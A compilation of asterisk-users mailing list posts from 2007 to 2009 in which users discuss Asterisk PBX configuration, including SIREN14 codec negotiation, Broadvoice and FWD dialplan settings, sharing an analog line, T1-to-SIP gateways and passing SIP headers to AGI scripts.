I've got a fresh (1 day old) svn trunk release SVN-trunk-r225360 of Asterisk and I'm trying to get it to accept a SIREN14 call from Polycom's softphone. Having trouble with SDP negotiation, I want to only allow SIREN14 and nothing else. I also want to record and playback files, any tips on what the Record function parameters should be? In sip.conf I have: disallow=all ; First disallow all codecs allow=siren14; Is this the right name? And the INVITE comes from the Polycom softphone with an SDP of: ... User-Agent: Polycom VV 8.0.4.4035. ... m=audio 12386 RTP/AVP 99 98 97 102 101 103 9 15 18 0 8. a=rtpmap:99 SIREN14/16000. a=fmtp:99 bitrate=48000. a=rtpmap:98 SIREN14/16000. a=fmtp:98 bitrate=32000. a=rtpmap:97 SIREN14/16000. a=fmtp:97 bitrate=24000. a=rtpmap:102 G7221/16000. a=fmtp:102 bitrate=32000. a=rtpmap:101 G7221/16000. a=fmtp:101 bitrate=24000. a=rtpmap:103 G7221/16000. a=fmtp:103 bitrate=16000. a=rtpmap:9 G722/8000. a=rtpmap:15 G728/8000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=sendrecv. m=video 12388 RTP/AVP 109 34 96 31. b=TIAS:384000. a=rtpmap:109 H264/9. a=fmtp:109 profile-level-id=42800d; max-mbps=4; max-fs=1792; max-br=1025. a=rtpmap:34 H263/9. a=fmtp:34 CIF4=1;CIF=1; Thanks in advance for any tips, Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] SIPAddHeader into the SDP?
I use SIPAddHeader today to put some proprietary info into the SIP header of an outbound call. Now I'd like to add some proprietary info to the SDP portion of an outbound call. Can this be done with SIPAddHeader? Thanks in advance, Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2009 - October 13 - 15 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Broadvoice versus Asterisk 1.4.25.1 and 1.4.26
FWIW, my broadvoice setup ( and I just upgraded to 1.4.26 to play with Skype channels and verified that Broadvoice still works ) register=781zzzn...@sip.broadvoice.com:p assword:781zzzn...@sip.broadvoice.com/781zzz [sip.broadvoice.com] type=peer user=phone host=sip.broadvoice.com fromdomain=sip.broadvoice.com fromuser=781zzz secret=password username=781zzz authuser=781zzz insecure=invite context=from-pstn dtmfmode=rfc2833 dtmf=rfc2833 callerid=781zzz canreinvite=no (might be a couple bogus lines in there from long ago debugging efforts to get broadvoice to work) On Sat, Aug 1, 2009 at 8:01 PM, Andy Valencia ajv-593-869-0...@vsta.orgwrote: --- Hi, I got hit with a funny one today; my configuration, which had been running fine for many weeks, suddenly stopped registering with Broadvoice's SIP. I switched among BV SIP hosts, verified my account was OK, even tried upgrading Asterisk. The weird thing was that I could associate OK with my WiFi SIP phone. So it looked like an Asterisk- specific SIP interoperability problem. I played with a lot of stuff, and ended up finding that enabling qualify=yes (my PBX isn't behind a NAT and thus doesn't need to keep NAT state warm) seems to make the REGISTER work. At least, changing that config element and then sip reload got my BV peering back. I'll send a note if I find out anything else. And I'd certainly like to hear from any other BV users who might have seen a recent change. Andy Valencia ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2009 - October 13 - 15 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2009 - October 13 - 15 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Skype for Asterisk: Public Beta available
Nice job. It worked right away for me with my 10 channel trial license. Asterisk 1.4.26 I'm already building a dtmf access menu to bridge to my SIP world :-) As much I hate Skype for being a closed system, it would make the ultimate remote Asterisk extension as Skype drills through so many firewalls that block SIP and IAX and just about everything else. On Thu, Jul 30, 2009 at 1:50 PM, John Todd jt...@digium.com wrote: I know many of you have been waiting for this for a while, so I'll keep this short: The Skype for Asterisk Public Beta is now available on the Digium store. We are pleased to announce the open beta of Skype For Asterisk is ready to begin and we look forward to you participation. To obtain your copy of the software, please visit Digium’s web store and purchase (for zero dollars) the Skype For Asterisk product. The web store does require a Digium.com account, which can be set up during the purchase process if you don’t already have one. Once the web store process is complete, you will be e-mailed your license key and directions on where to download Skype For Asterisk beta software. This is a time-expiring beta - the software will stop working on August 31. The download is also currently time-limited - it will be available until August 7 on our website. After the 31st, you would need to have purchased a license for the SfA software (sorry, no pricing that I can give you right now - that will be a separate announcement. I'm just the community guy - I have no idea about pricing or commercial contracts or the like, so please wait until that's been announced as I will find out about the same time as you do. :-) Trial purchase page: http://store.digium.com/productview.php?product_code=804-00019 JT --- John Todd email:jt...@digium.comemail%3ajt...@digium.com Digium, Inc. | Asterisk Open Source Community Director 445 Jan Davis Drive NW - Huntsville AL 35806 - USA direct: +1-256-428-6083 http://www.digium.com/ ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2009 - October 13 - 15 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2009 - October 13 - 15 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] using asterisk on a shared line
An exclusion adapter is overkill. My Asterisk line card is the $10 Win modem card that I got from ebay. When you call my copper line, two devices see the inbound ringer: 1. The Uniden 5.8Ghz cordless phone base station that answers 95% of the calls 2. Asterisk with a win modem line card that: a. runs a perl AGI script to parse caller-id name and number b. rings a sip extension or c. answers the call and plays funny messages and DTMF tones at the telemarketers. Just make sure that Asterisk only RINGS the sip extensions but never sends the call to play a message or voicemail or any other Asterisk feature that will issue an implicit Answer and take the call. ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] using asterisk on a shared line
Shorter answer is yes :-). This is exactly how mine runs. The secret is that the copper interface will ring a SIP extension but just exit from the dialplan on noanswer. [main-copper] exten = s,1,Dial(SIP/22,69) and then nothing in my case. Generally my wife answers using a cordless phone set that is sharing the copper line with my Asterisk line card. The other benefit is that I actually parse caller-id name and number and optionally have Asterisk answer and torture telemarketers if there is a match. Otherwise it just rings my SIP extensions and will not seize the line unless I pickup extension 22. ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] using asterisk on a shared line
Yeah, except in the OP he mentions that he wants or is at least using Asterisk VM so your solution does not meet his needs. Ah, yes. My config would not allow Asterisk to be a part time voicemail destination. In my config, the POTS line has its own voicemail (it is actually a Comcast line and Comcast provided voicemail). I need Comcast provided voicemail to be the final destination on that line if noone answers and if the house is totally offline (power or broadband). (Comcast has bigger batteries than I do) ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] using asterisk on a shared line
I get how everything is connected with your setup, but if you pick up the cordless phone to answer a call does the sip extension just keep ringing until it times out? Actually no, the SIP extension stops ringing and Asterisk takes no further action. I like the exclusion adapter idea because it sounds like it would let me keep my dialplan intact. But I do take John and Trevor's point about putting everything through asterisk and running it 24/7. It would make things a lot simpler. A 24/7 box is great as long as you have some runtime on batteries to smooth out the occasional power failures and have a separate box to tinker with. If you are the only person expecting calls on that line, then a predictable result is less critical. (ie: Asterisk/voicemail is off and you don't answer and no other voicemail - ring no answer) ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Any other free toll free SIP providers out there?
I tweaked the voip-info page a bit to reflect your example correctly (my
example stripped the first digit as I am using 8 as the dial prefix to toll
free via free SIP providers )
On Thu, Nov 20, 2008 at 11:02 AM, Atis Lezdins [EMAIL PROTECTED] wrote:
Wow, that's helpful.
I googled a bit, and found this lost page:
http://www.voip-info.org/wiki/view/Toll+Free+Termination+Providers
So, now it's updated with FWD and IdeaSIP, and linked from VoIP
Service Providers
Perhaps anyone who uses them can check examples - the ${EXTEN:1} part
seems wrong.
I wonder are there any legal issues if they were included in Asterisk
sample config? Or perhaps they could even pay for advertising to get
included there ;-)
Regards,
Atis
--
Atis Lezdins,
VoIP Project Manager / Developer,
IQ Labs Inc,
[EMAIL PROTECTED]
Skype: atis.lezdins
Cell Phone: +371 28806004
Cell Phone: +1 800 7300689
Work phone: +1 800 7502835
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[asterisk-users] Any other free toll free SIP providers out there?
FWD (Free World Dialup) allows any SIP call to US toll free numbers via *
[EMAIL PROTECTED] This works WITHOUT the need to be registered at
FWD so in my dialplan I have something like:
exten = _8.,1,Dial(SIP/fwd.pulver.com/*${EXTEN:1},60,r)
exten = _8.,2,Hangup
And I just dial 8-1-8xxyyy and presto ... calls go through just fine
99% of the time.
I'm wondering if there are any other providers out there that allow calls to
toll free numbers without the need of being registered? I'd like to have a
backup or two.
Tom
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[asterisk-users] Adding ;password=foo;method=bar to SIP uri
To send calls into a custom SER implementation, I need to be able to add some items to the URI that Asterisk will then send as part of the INVITE Asterisk dial SIP/[EMAIL PROTECTED] needs to become Asterisk dial SIP/[EMAIL PROTECTED];password=foo;method=bar This is not a registration password. It is a passsword associated with the destination xyz at location abc.com Asterisk 1.4.18.1 seems to glue the data as part of the hostname and fail to lookup abc.com Is there a way to manipulate the URI that will be sent in the INVITE to accomplish this? Thanks in advance, Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- AstriCon 2008 - September 22 - 25 Phoenix, Arizona Register Now: http://www.astricon.net asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] T1 access layer used Cisco or new Digium
I'm looking to build a robust inbound DID access layer for an application I am working on. This might start off simply as 8 DID T1/ISDN lines and eventually grow to a few dozen T1 lines worth of access or higher. (In a prior life, I had 14 DS3s of inbound toll free terminating on Dialogic card based IVR platforms ... then one day the Asterisk/VoIP bug bit me but that's another story) So with my existing biases, I'm tempted to do one of two things: a) buy used Cisco Voice AS5300s (4 X T1 to SIP gateway for $3,200 and 2U of rack space) or b) buy Digium T1 cards in 2 port or 4 port flavors and place in 1U or 2U rackmount servers and use as dedicated ISDN T1 to SIP gateways. The upstream of this access layer is SIP based resource including Asterisk and other applications. The ISDN to SIP layer is strictly for reliable inbound termination of calls and delivery to a SIP environment. I have great trust in operational stability of both Cisco voice products and Asterisk. So I'm torn somewhat and would be interested in other experiences and opinions. (The money I might save by buying alternatives to Digium cards is not really on the table here, I'm am significantly predisposed to buying Digium T1 cards and would be interested in specific card recommendations). If in isn't obvious, I'm not interested in paying full retail Cisco prices for this project, that's why used Cisco voice products are one choice. (Using SIP providers for the project is also on the table but somewhat orthogonal to this question unless you think I am totally nuts for even thinking of building my own T1 ingress network. If that is the case, please state it gently :-) It seems to me that T1 prices are low enough that they compete with virutal T1 pricing per DS0 from the SIP providers) Thanks in advance for any thoughts. Tom ___ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] How are you using Asterisk at Home ?
Totally agree *IF* the SIP elements behind your router/firewall have real IP addresses and you are not using NAT in your router. With NAT scenarios, I prefer to have a copy of Asterisk running on firewall/NAT router so it at least has one public IP address to make various SIP games a little easier. iptables can really protect asterisk from uninvited (npi) SIP / RTP packets if you are really paranoid also the asterisk running on your firewall/NAT router can be dedicated to just gateway functions and have your important and private asterisk pbx behind the NAT/firewall using the gateway as needed On 10/10/07, Steve Prior [EMAIL PROTECTED] wrote: Repeat after me - NEVER NEVER NEVER run other servers on your router/firewall machine!!! ___ --Bandwidth and Colocation Provided by http://www.api-digital.com-- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
[asterisk-users] Can I use Realtime entries to do multiple registers to same trunk/peer
I have a config where I define a single peer and have possibly hundreds of register commands for that single peer.I'm not clear if I can do the register part via Asterisk Realtime (right now I updated a file and force a reload which re-registers all the users defined in the register directives). I want to avoid reload/restart everytime I add a register user to the list:ie:[EMAIL PROTECTED]:[EMAIL PROTECTED][EMAIL PROTECTED]:[EMAIL PROTECTED] [EMAIL PROTECTED]:[EMAIL PROTECTED]replaced with realtime interface in MySQL table.Thanks in advanceTom ___ --Bandwidth and Colocation provided by Easynews.com -- asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] SIP To: header
You can pull anything from the header with SIP_HEADERI'll often just pass them into a Perl AGI as $ARGV[0] $ARGV[1] with this line:exten = myapp,2,AGI(myapp.agi|${SIP_HEADER(From)}|${SIP_HEADER(To)})
Note also you can get *anything* in the SIP header SIP_HEADER(Mumblefratz) etc.
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